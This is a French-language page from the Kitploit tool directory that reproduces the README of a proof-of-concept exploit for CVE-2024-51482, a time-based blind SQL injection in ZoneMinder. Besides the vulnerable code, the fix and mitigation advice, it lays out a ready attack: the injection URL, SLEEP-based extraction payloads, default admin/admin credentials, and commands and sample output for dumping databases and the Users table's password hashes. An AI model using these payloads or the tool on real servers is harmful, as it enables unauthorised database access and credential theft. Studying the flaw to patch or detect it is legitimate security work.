Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-51482 — ZenoMinder Injection SQL aveugle PoC | Kitploit
Outils/GitHubGitHub/bridgeralderson/cve-2024-51482
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de Données
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder Injection SQL aveugle PoC

Voir le dépôt
846il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-51482 - Injection SQL aveugle dans ZoneMinder

Table des matières

  • Aperçu
  • Détails de la vulnérabilité
  • Analyse technique
  • Guide d'exploitation
  • Installation
  • Exemples d'utilisation
  • Atténuation
  • Références

Aperçu

CVE-2024-51482 est une vulnérabilité critique d'injection SQL booléenne découverte dans ZoneMinder, un logiciel de vidéosurveillance open-source populaire. Cette faille affecte les versions 1.37.* jusqu'à 1.37.64 et permet à des attaquants authentifiés disposant de faibles privilèges d'exécuter des commandes SQL arbitraires sur le serveur de base de données sous-jacent.

MétriqueValeur
ID CVECVE-2024-51482
Score CVSS9.9 (Critique)
Vecteur d'attaqueRéseau
Privilèges requisFaibles
Interaction utilisateurAucune
PérimètreModifié
ImpactConfidentialité, Intégrité, Disponibilité - ÉLEVÉE
Version corrigée1.37.65

Détails de la vulnérabilité

Versions affectées

  • Vulnérables : ZoneMinder v1.37.0 à v1.37.64.
  • Corrigées : ZoneMinder v1.37.65 et ultérieures.

Cause racine

La vulnérabilité réside dans le fichier web/ajax/event.php au sein de la fonction removetag. Le paramètre tid (ID de balise) est directement concaténé dans une requête SQL sans échappement ni paramétrage approprié.

Code vulnérable :

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNÉRABLE ! 
    $rowCount = dbNumRows($sql); 
    // ...

Code corrigé :

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Requête paramétrée

Vecteur d'attaque

Le point d'entrée vulnérable peut être déclenché via :

root@kitploit:~
http://cible/zm/index.php?view=request&request=event&action=removetag&tid=[POINT_D_INJECTION]

Analyse technique

Pourquoi une injection aveugle booléenne ?

Le point d'injection ne renvoie pas directement les résultats de la requête dans la réponse, ce qui rend les attaques UNION classiques impossibles. Il faut donc déduire les informations via des conditions booléennes ou des délais temporels.

  • Approche booléenne :
    • Condition vraie → Temps de réponse normal.
    • Condition fausse → Temps de réponse normal.
    • Nécessite des différences observables dans le comportement de l'application.
  • Approche temporelle (plus fiable) :
    • Condition vraie → Réponse retardée (SLEEP).
    • Condition fausse → Temps de réponse normal.

Mécanisme de l'exploit

Notre exploit utilise l'extraction temporelle avec la fonction SLEEP() :

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Lorsque cette condition est évaluée à vrai, la base de données dort pendant 2 secondes, créant un délai mesurable dans la réponse HTTP.

Processus d'extraction des caractères

  • Recherche binaire : Pour chaque position de caractère, nous testons des plages en utilisant ASCII(SUBSTRING()) > MID.
  • Mesure du temps : Si la condition est vraie, SLEEP se déclenche.
  • Reconstruction du caractère : Construction de la chaîne caractère par caractère.

Exemple de charge utile pour extraire le caractère à la position 1 :

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Guide d'exploitation

Prérequis

  • Cible exécutant ZoneMinder 1.37.0 - 1.37.64.
  • Identifiants valides (par défaut : admin/admin).
  • Accès réseau à l'interface web de ZoneMinder.

Installation

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Rendre le script exécutable
chmod +x CVE-2024-51482.py

# Installer les dépendances requises
pip3 install requests

Utilisation de base

root@kitploit:~
# Tester si la cible est vulnérable
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --test

# Découvrir toutes les bases de données
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --discover

# Lister les tables dans une base de données spécifique
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --tables zm

# Lister les colonnes dans une table spécifique
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --columns zm Users

# Vider les données de colonnes spécifiques
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --dump zm Users "Username,Password"

# Vider la table des utilisateurs (par défaut)
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users

# Activer le débogage pour un processus d'extraction détaillé
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users --debug

# Ajuster le temps de sommeil pour une extraction plus fiable
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users --sleep 3

# Désactiver la sortie colorée
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users --no-color

Exemples d'utilisation

Exemple 1 : Test de vulnérabilité

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit d'injection SQL aveugle dans ZoneMinder
[*] Cible : 192.168.1.100
[*] Connexion en tant qu'admin sur 192.168.1.100...
[+] Connexion réussie
[*] Mesure du temps de réponse de référence...
[*] Médiane de référence : 0.058s
[*] Test de la vulnérabilité avec un sommeil de 2s...
[+] La cible est vulnérable !

Exemple 2 : Énumération des bases de données

root@kitploit:~
$ python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit d'injection SQL aveugle dans ZoneMinder
[*] Cible : <hôte-cible>
[*] Connexion en tant qu'admin sur <hôte-cible>...
[+] Connexion réussie
[*] Mesure du temps de réponse de référence...
[*] Médiane de référence : 0.065s
[*] Test de la vulnérabilité avec un sommeil de 2s...
[+] La cible est vulnérable !
[*] Énumération des bases de données...
[+] Base de données trouvée : information_schema
[+] Base de données trouvée : performance_schema
[+] Base de données trouvée : zm
[+] Bases de données trouvées : 
1. information_schema 
2. performance_schema 
3. zm

Exemple 3 : Récupération des identifiants utilisateur

root@kitploit:~
$ python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit d'injection SQL aveugle dans ZoneMinder
[*] Cible : <hôte-cible>
[*] Connexion en tant qu'admin sur <hôte-cible>...
[+] Connexion réussie
[*] Mesure du temps de réponse de référence...
[*] Médiane de référence : 0.062s
[*] Test de la vulnérabilité avec un sommeil de 2s...
[+] La cible est vulnérable !
[*] Récupération de la table Users de la base zm...
[*] Énumération des colonnes dans 'zm.Users'...
[+] Colonne trouvée : Id
[+] Colonne trouvée : Username
[+] Colonne trouvée : Password
[+] Colonne trouvée : Language
[+] Colonne trouvée : Enabled
[*] Récupération des données de 'zm.Users'...
[+] Ligne 1 : {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Ligne 2 : {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Utilisateurs extraits : 2 
Utilisateur : admin 
Mot de passe : $2y$10$...hashed... 
Email : admin@localhost 
Activé : 1 
Utilisateur : operator 
Mot de passe : $2y$10$...hashed... 
Email : operator@localhost 
Activé : 1

Exemple 4 : Extraction de données personnalisée

root@kitploit:~
# Récupérer des colonnes spécifiques de la table Events
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Fonctionnement de l'exploit

Décomposition étape par étape

  1. Authentification : Le script s'authentifie d'abord auprès de ZoneMinder pour obtenir un cookie de session valide.
  2. Mesure de référence : Envoie 5 requêtes normales pour établir un temps de réponse moyen.
  3. Confirmation de la vulnérabilité : Teste avec une charge utile SLEEP(2) pour vérifier que l'injection fonctionne.
  4. Extraction des caractères : Pour chaque position de caractère, une recherche binaire détermine la valeur ASCII :
    • Requête : ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
    • Si la condition est vraie → SLEEP se déclenche → Réponse retardée.
    • Si la condition est fausse → Réponse immédiate.
  5. Reconstruction des chaînes : Les caractères sont concaténés pour former des chaînes complètes.

Fonctionnalités clés

  • Algorithme de recherche binaire : Extrait les caractères en log₂(95) ≈ 7 requêtes par caractère.
  • Temporisation adaptative : Calibre automatiquement la référence pour une détection précise.
  • Indicateur de progression : Affiche la progression de l'extraction en temps réel.
  • Récupération d'erreur : Gère les timeouts de connexion avec élégance.
  • Mode débogage : Affiche l'extraction détaillée caractère par caractère.

Atténuation

Actions immédiates

  • Mettez à jour ZoneMinder vers la version 1.37.65 ou ultérieure :
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • Si le correctif n'est pas possible, restreignez l'accès au script vulnérable :
    root@kitploit:~
    # Configuration Apache 
    Require ip 192.168.0.0/16
    
  • Appliquez le principe du moindre privilège pour les comptes de base de données.
  • Surveillez les journaux pour détecter les tentatives d'injection SQL suspectes :
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

Recommandations à long terme

  • Utilisez des requêtes paramétrées pour toutes les interactions avec la base de données .
  • Mettez en place des règles de pare-feu applicatif (WAF) .
  • Réalisez régulièrement des audits de sécurité et des tests d'intrusion .
  • Maintenez ZoneMinder et toutes ses dépendances à jour .

Références

  • Avis de sécurité GitHub - GHSA-qm8h-3xvf-m7j3
  • Entrée NVD - CVE-2024-51482
  • Commit de correctif
  • Enrichissement CISA
  • Plugin Nessus Tenable
  • Avis Check Point

Avertissement

Cet outil est fourni uniquement à des fins éducatives et de test de sécurité. Tester des systèmes informatiques sans autorisation est illégal. Obtenez toujours une autorisation appropriée avant de tester un système.

Chaîne de vecteur CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Télécharger l’outil
MétriqueValeur
Vecteur d'attaqueRéseau
Complexité de l'attaqueFaible
Privilèges requisFaibles
Interaction utilisateurAucune
PérimètreModifié
ConfidentialitéÉlevée
IntégritéÉlevée
DisponibilitéÉlevée